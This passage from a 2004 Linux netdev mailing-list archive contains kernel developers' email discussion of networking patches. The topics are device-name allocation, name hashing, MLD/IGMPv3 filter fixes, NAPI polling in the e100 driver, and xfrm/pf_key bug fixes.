(and also the ACK bit is clear in this packet which makes the ACK sequence field not valid anyways). This dump looks perfectly fine to me. From shemminger@osdl.org Tue Jan 13 16:13:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:13:28 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0DF6H008573 for ; Tue, 13 Jan 2004 16:13:15 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0E0D3o10536; Tue, 13 Jan 2004 16:13:03 -0800 Date: Tue, 13 Jan 2004 16:13:03 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040113161303.20f1159d.shemminger@osdl.org> In-Reply-To: <20040113155921.342db463.davem@redhat.com> References: <20040113154610.38f5934c.shemminger@osdl.org> <20040113155921.342db463.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2414 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1090 Lines: 25 On Tue, 13 Jan 2004 15:59:21 -0800 "David S. Miller" wrote: > On Tue, 13 Jan 2004 15:46:10 -0800 > Stephen Hemminger wrote: > > > When using pseudo network devices, and really big machines; there is > > sometimes a need to have a lot of network devices. This replaces the > > existing 2.6.1 limit of 100 entries an was O(n^2) > > with a algorithm that will handle up to 32768 entries with O(n) behaviour. > > > > Does need a temporary page, but that shouldn't be a big deal. > > It has the same semantics, it will find the first empty name and use it. > > I think your code has different semantics than exist currently. > > For example, let's use the example of asking for "slip%d" then "eth%d". > The existing code would hand out "slip0" then "eth0", but your code would > deliver "slip0" then "eth1" which is not correct. > > Or did I miss something clever in your algorithm? It uses the output format string for the sscanf match, and since sscanf formats have to match. sscanf("eth0", "slip%d", &i) returns 0 so eth0 would be skipped From davem@pizda.ninka.net Tue Jan 13 16:22:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:22:25 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0MC6H012091 for ; Tue, 13 Jan 2004 16:22:12 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA09475; Tue, 13 Jan 2004 16:15:15 -0800 Date: Tue, 13 Jan 2004 16:15:15 -0800 From: "David S. Miller" To: David Stevens Cc: hibi665@oki.com, netdev@oss.sgi.com Subject: Re: MLD problems (again) [PATCH] Message-Id: <20040113161515.0bff155e.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2415 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 538 Lines: 13 On Sun, 11 Jan 2004 22:49:08 -0700 David Stevens wrote: > Although IGMPv3 didn't have any problems, this patch > also re-arranges the order of the filter changes. I think it's cleaner > to add the new one first and then delete the old one, rather than > having a small window with no filter set. So, this is a bug fix for MLD > and a code clean-up for IGMPv3. > This bug and patch should also apply to the 2.4 line. Applied, thank you David. Also, arigato Takashi-san for the bug report and testing. From greearb@candelatech.com Tue Jan 13 16:23:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:23:50 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0Nb6H012473 for ; Tue, 13 Jan 2004 16:23:37 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i0E0NP9v022436; Tue, 13 Jan 2004 16:23:25 -0800 Message-ID: <40048BFD.4010303@candelatech.com> Date: Tue, 13 Jan 2004 16:23:25 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. References: <20040113154610.38f5934c.shemminger@osdl.org> In-Reply-To: <20040113154610.38f5934c.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2416 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 628 Lines: 18 Stephen Hemminger wrote: > When using pseudo network devices, and really big machines; there is > sometimes a need to have a lot of network devices. This replaces the > existing 2.6.1 limit of 100 entries an was O(n^2) > with a algorithm that will handle up to 32768 entries with O(n) behaviour. Might be a good time to put in hash tables to find network devices by name and by device-id. There are a few parts of the networking stack that do lookups, and walking the device list when it's 4k entries long takes a while... Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From scott.feldman@intel.com Tue Jan 13 16:25:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:25:43 -0800 (PST) Received: from hermes.jf.intel.com (fmr05.intel.com [134.134.136.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0PU6H012869 for ; Tue, 13 Jan 2004 16:25:30 -0800 Received: from talaria.jf.intel.com (talaria.jf.intel.com [10.7.209.7]) by hermes.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0E0Pm1g017048; Wed, 14 Jan 2004 00:25:48 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by talaria.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0E0KeSo019429; Wed, 14 Jan 2004 00:21:00 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011316232813537 ; Tue, 13 Jan 2004 16:23:28 -0800 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 13 Jan 2004 16:23:28 -0800 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: [PATCH] make tg3 NAPI support configurable Date: Tue, 13 Jan 2004 16:23:27 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [PATCH] make tg3 NAPI support configurable Thread-Index: AcPaCQLBGAMgflYFToKkT6HVZbQ6NgAK2AtQ From: "Feldman, Scott" To: "Robert Olsson" , "Jeff Garzik" Cc: "Greg Banks" , "David S. Miller" , "Linux Network Development list" , X-OriginalArrivalTime: 14 Jan 2004 00:23:28.0052 (UTC) FILETIME=[A1946F40:01C3DA34] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0E0PU6H012869 X-archive-position: 2417 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 996 Lines: 32 > I was thinking of a variant JC [jchapman@katalix.com] > mentioned on this list some time ago. He also sent me > the patch for e1000. A test and the patch is below. JC contributed almost the exact patch for the e100 rewrite and it did help Tx, but I don't remember how much. JC, do you remember? Here is the snippet: static int e100_poll(struct net_device *netdev, int *budget) { struct nic *nic = netdev->priv; unsigned int work_to_do = min(netdev->quota, *budget); unsigned int work_done = 0; int tx_cleaned; e100_rx_clean(nic, &work_done, work_to_do); tx_cleaned = e100_tx_clean(nic); /* If no Rx and Tx cleanup work was done, exit polling mode. */ if((!tx_cleaned && (work_done == 0)) || !netif_running(netdev)) { netif_rx_complete(netdev); e100_enable_irq(nic); return 0; } *budget -= work_done; netdev->quota -= work_done; return 1; } From davem@pizda.ninka.net Tue Jan 13 16:25:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:26:12 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0Px6H013024 for ; Tue, 13 Jan 2004 16:25:59 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA09552; Tue, 13 Jan 2004 16:19:03 -0800 Date: Tue, 13 Jan 2004 16:19:03 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] bridge use read_lock when scanning device list Message-Id: <20040113161903.5eaf893a.davem@redhat.com> In-Reply-To: <20040112134645.461f125e.shemminger@osdl.org> References: <20040112134645.461f125e.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2418 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 245 Lines: 7 On Mon, 12 Jan 2004 13:46:45 -0800 Stephen Hemminger wrote: > On 2.6.1, bridge is using rtnl_shlock which is equivalent to rtnl_lock when > all it really needs to do is read_lock(&dev_base_lock). Applied, thanks Stephen. From davem@pizda.ninka.net Tue Jan 13 16:26:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:27:07 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0Qs6H013604 for ; Tue, 13 Jan 2004 16:26:54 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA09574; Tue, 13 Jan 2004 16:19:58 -0800 Date: Tue, 13 Jan 2004 16:19:58 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] convert /proc/net/dev_mcast to seq_file Message-Id: <20040113161958.5e05c655.davem@redhat.com> In-Reply-To: <20040112135033.3b08f0e9.shemminger@osdl.org> References: <20040112135033.3b08f0e9.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2419 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 196 Lines: 6 On Mon, 12 Jan 2004 13:50:33 -0800 Stephen Hemminger wrote: > Convert /proc/net/dev_mcast for 2.6 so it will work with large number of interfaces. Applied, thanks Stephen. From davem@pizda.ninka.net Tue Jan 13 16:28:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:28:22 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0S96H013987 for ; Tue, 13 Jan 2004 16:28:09 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA09618; Tue, 13 Jan 2004 16:21:12 -0800 Date: Tue, 13 Jan 2004 16:21:12 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: jt@hpl.hp.com, jt@bougret.hpl.hp.com, jgarzik@pobox.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH 2.6.X] SIOCSIFNAME wilcard suppor & name validation Message-Id: <20040113162112.509edb71.davem@redhat.com> In-Reply-To: <20040113142204.0b41403b.shemminger@osdl.org> References: <20040112234332.GA1785@bougret.hpl.hp.com> <20040113142204.0b41403b.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2420 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 416 Lines: 13 On Tue, 13 Jan 2004 14:22:04 -0800 Stephen Hemminger wrote: > Here is an enhanced version of the previous patch. > It adds both the wildcard support that Jean did, and validation of network > device names. > > It doesn't check the error return from class_device_rename because > that will not fail unless object or name are null. This is really cool, nice work guys. Patch applied, thanks. From davem@pizda.ninka.net Tue Jan 13 16:32:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:32:34 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0WL6H014418 for ; Tue, 13 Jan 2004 16:32:22 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA09700; Tue, 13 Jan 2004 16:25:18 -0800 Date: Tue, 13 Jan 2004 16:25:18 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com, jorge@dti2.net Subject: Re: [PATCH][ATM]: [nicstar] convert to new style pci module (by "Jorge Boncompte [DTI2]" ) Message-Id: <20040113162518.458e817d.davem@redhat.com> In-Reply-To: <200401130503.i0D53nRr019754@ginger.cmf.nrl.navy.mil> References: <200401130503.i0D53nRr019754@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2421 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 166 Lines: 7 On Tue, 13 Jan 2004 00:03:50 -0500 chas williams (contractor) wrote: > please apply to 2.4 > please apply to 2.6 Both applied, thanks Chas. From shemminger@osdl.org Tue Jan 13 16:38:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:38:47 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0cY6H015311 for ; Tue, 13 Jan 2004 16:38:34 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0E0cSo16295; Tue, 13 Jan 2004 16:38:28 -0800 Date: Tue, 13 Jan 2004 16:38:28 -0800 From: Stephen Hemminger To: Ben Greear Cc: netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040113163828.64ec4743.shemminger@osdl.org> In-Reply-To: <40048BFD.4010303@candelatech.com> References: <20040113154610.38f5934c.shemminger@osdl.org> <40048BFD.4010303@candelatech.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2422 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 816 Lines: 17 On Tue, 13 Jan 2004 16:23:25 -0800 Ben Greear wrote: > Stephen Hemminger wrote: > > When using pseudo network devices, and really big machines; there is > > sometimes a need to have a lot of network devices. This replaces the > > existing 2.6.1 limit of 100 entries an was O(n^2) > > with a algorithm that will handle up to 32768 entries with O(n) behaviour. > > Might be a good time to put in hash tables to find network devices by > name and by device-id. There are a few parts of the networking stack > that do lookups, and walking the device list when it's 4k entries > long takes a while... I have a patch for name hashing, but don't know if it's needed. Even without it I can add 9 thousand bridge entries, and each one takes longer to start the command than add the entry now. From davem@pizda.ninka.net Tue Jan 13 16:43:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:43:41 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E0hS6H015784 for ; Tue, 13 Jan 2004 16:43:28 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA09833; Tue, 13 Jan 2004 16:36:32 -0800 Date: Tue, 13 Jan 2004 16:36:31 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (1/5) replay netdev notifier events on registration Message-Id: <20040113163631.1a9c1a59.davem@redhat.com> In-Reply-To: <20040113105843.0d1351cb.shemminger@osdl.org> References: <20040113105843.0d1351cb.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2423 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 998 Lines: 22 On Tue, 13 Jan 2004 10:58:43 -0800 Stephen Hemminger wrote: > Several protocols register for network device notification to detect new new network devices; > but then have to walk the device list to capture the devices that are already up. > This leaves a exposed window between when the notifier is registered and when the list walk > occurs. Also, in several cases, there is a different code path for the pre-existing and > new devices which leads to bug exposure. > > The solution is to replay the registration and up events for existing devices into the > new notifier. > > All notifiers in 2.6.1 have been audited and the other patches fix places > where protocols were doing there own registered device discovery loop. > > Thanks to Al Viro for the suggestion. Looks good.... are you absolutely sure no remaining notifiers will barf if they get a register for an already existing device? I know up events should be ok... Anyways, I applied all 5 patches, thanks. From greearb@candelatech.com Tue Jan 13 17:55:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 17:55:49 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E1tY6H018116 for ; Tue, 13 Jan 2004 17:55:36 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i0E1tW9v025145; Tue, 13 Jan 2004 17:55:32 -0800 Message-ID: <4004A194.3030602@candelatech.com> Date: Tue, 13 Jan 2004 17:55:32 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger , "'netdev@oss.sgi.com'" Subject: Re: [PATCH] support for large number of network devices. References: <20040113154610.38f5934c.shemminger@osdl.org> <40048BFD.4010303@candelatech.com> <20040113163828.64ec4743.shemminger@osdl.org> In-Reply-To: <20040113163828.64ec4743.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2424 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 1332 Lines: 37 Stephen Hemminger wrote: > On Tue, 13 Jan 2004 16:23:25 -0800 > Ben Greear wrote: > > >>Stephen Hemminger wrote: >> >>>When using pseudo network devices, and really big machines; there is >>>sometimes a need to have a lot of network devices. This replaces the >>>existing 2.6.1 limit of 100 entries an was O(n^2) >>>with a algorithm that will handle up to 32768 entries with O(n) behaviour. >> >>Might be a good time to put in hash tables to find network devices by >>name and by device-id. There are a few parts of the networking stack >>that do lookups, and walking the device list when it's 4k entries >>long takes a while... > > > I have a patch for name hashing, but don't know if it's needed. > Even without it I can add 9 thousand bridge entries, > and each one takes longer to start the command than add the entry now. Check out the af_packet code. At least some branches do a device lookup by name for each transmitted packet. One method is: packet_sendmsg_spkt packet_sendmsg gets by index, which could also be hashed... At one time ifconfig -a was almost un-usable with large numbers of devices, but I think it has been improved. I haven't tried on large numbers of devices lately... -- Ben Greear Candela Technologies Inc http://www.candelatech.com From oxymoron@waste.org Tue Jan 13 23:13:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 23:13:35 -0800 (PST) Received: from waste.org (waste.org [209.173.204.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E7DJ6H029665 for ; Tue, 13 Jan 2004 23:13:19 -0800 Received: from waste.org (localhost [127.0.0.1]) by waste.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0E7DBhm031020; Wed, 14 Jan 2004 01:13:11 -0600 Received: (from oxymoron@localhost) by waste.org (8.12.3/8.12.3/Debian-6.6) id i0E7D31e031018; Wed, 14 Jan 2004 01:13:03 -0600 Date: Wed, 14 Jan 2004 01:13:03 -0600 From: Matt Mackall To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-ID: <20040114071303.GG28521@waste.org> References: <20040113154610.38f5934c.shemminger@osdl.org> <20040113155921.342db463.davem@redhat.com> <20040113161303.20f1159d.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040113161303.20f1159d.shemminger@osdl.org> User-Agent: Mutt/1.3.28i X-Virus-Scanned: by amavisd-new X-archive-position: 2425 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mpm@selenic.com Precedence: bulk X-list: netdev Content-Length: 1399 Lines: 32 On Tue, Jan 13, 2004 at 04:13:03PM -0800, Stephen Hemminger wrote: > On Tue, 13 Jan 2004 15:59:21 -0800 > "David S. Miller" wrote: > > > On Tue, 13 Jan 2004 15:46:10 -0800 > > Stephen Hemminger wrote: > > > > > When using pseudo network devices, and really big machines; there is > > > sometimes a need to have a lot of network devices. This replaces the > > > existing 2.6.1 limit of 100 entries an was O(n^2) > > > with a algorithm that will handle up to 32768 entries with O(n) behaviour. > > > > > > Does need a temporary page, but that shouldn't be a big deal. > > > It has the same semantics, it will find the first empty name and use it. > > > > I think your code has different semantics than exist currently. > > > > For example, let's use the example of asking for "slip%d" then "eth%d". > > The existing code would hand out "slip0" then "eth0", but your code would > > deliver "slip0" then "eth1" which is not correct. > > > > Or did I miss something clever in your algorithm? > > It uses the output format string for the sscanf match, and since > sscanf formats have to match. sscanf("eth0", "slip%d", &i) returns 0 > so eth0 would be skipped Unfortunately sscanf("eth0-not-allocated", "eth%d", &i) fools it. Which may or may not be worth worrying about. -- Matt Mackall : http://www.selenic.com : Linux development and consulting From davem@pizda.ninka.net Tue Jan 13 23:25:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 23:25:40 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E7PR6H030452 for ; Tue, 13 Jan 2004 23:25:27 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA10430; Tue, 13 Jan 2004 23:18:25 -0800 Date: Tue, 13 Jan 2004 23:18:25 -0800 From: "David S. Miller" To: Ben Greear Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040113231825.700e534f.davem@redhat.com> In-Reply-To: <4004A194.3030602@candelatech.com> References: <20040113154610.38f5934c.shemminger@osdl.org> <40048BFD.4010303@candelatech.com> <20040113163828.64ec4743.shemminger@osdl.org> <4004A194.3030602@candelatech.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2426 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1094 Lines: 26 On Tue, 13 Jan 2004 17:55:32 -0800 Ben Greear wrote: > Stephen Hemminger wrote: > > I have a patch for name hashing, but don't know if it's needed. > > Even without it I can add 9 thousand bridge entries, > > and each one takes longer to start the command than add the entry now. > > Check out the af_packet code. At least some branches do a > device lookup by name for each transmitted packet. One > method is: packet_sendmsg_spkt > > packet_sendmsg gets by index, which could also be hashed... > > At one time ifconfig -a was almost un-usable with large numbers > of devices, but I think it has been improved. I haven't tried on > large numbers of devices lately... I found some other fast-path'ish cases of dev_get_by_name(), one of which is atalk_rcv()'s handling of IP over DDP packets. I didn't even search around for __dev_get() and dev_get_by_index() cases. There are probably some more there. Therefore, I think it's wise to just do this right from the start and use a hash. Stephen can you test up and submit the netdev name hash patch you have? From davem@pizda.ninka.net Tue Jan 13 23:27:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 23:27:21 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E7R86H030837 for ; Tue, 13 Jan 2004 23:27:08 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA10471; Tue, 13 Jan 2004 23:20:09 -0800 Date: Tue, 13 Jan 2004 23:20:09 -0800 From: "David S. Miller" To: Krishna Kumar Cc: krkumar@us.ibm.com, netdev@oss.sgi.com Subject: Re: [PATCH 1/5] ipcomp_tunnel_create doesn't set tunnel state Message-Id: <20040113232009.008a57a7.davem@redhat.com> In-Reply-To: References: <20040110121134.08481951.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2427 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 362 Lines: 9 On Tue, 13 Jan 2004 13:21:19 -0800 (PST) Krishna Kumar wrote: > ipcomp_tunnel_create doesn't set x->km.state to XFRM_STATE_DEAD. This can lead > to the BUG_TRAP in __xfrm_state_destroy when xfrm_state_put() finds this is > the last reference. This was reported as one of the symptoms of [Bug 1754] > some time back. Patch applied, thanks. From davem@pizda.ninka.net Tue Jan 13 23:28:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 23:28:48 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E7SZ6H031215 for ; Tue, 13 Jan 2004 23:28:35 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA10497; Tue, 13 Jan 2004 23:21:37 -0800 Date: Tue, 13 Jan 2004 23:21:37 -0800 From: "David S. Miller" To: Krishna Kumar Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2/5] Bad dereference of xfrm_state in pf_key Message-Id: <20040113232137.463554c9.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2428 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 351 Lines: 9 On Tue, 13 Jan 2004 13:22:36 -0800 (PST) Krishna Kumar wrote: > In pfkey_get(), the xfrm_state is dereferenced after it is dropped, > which could lead to dereferencing freed memory. 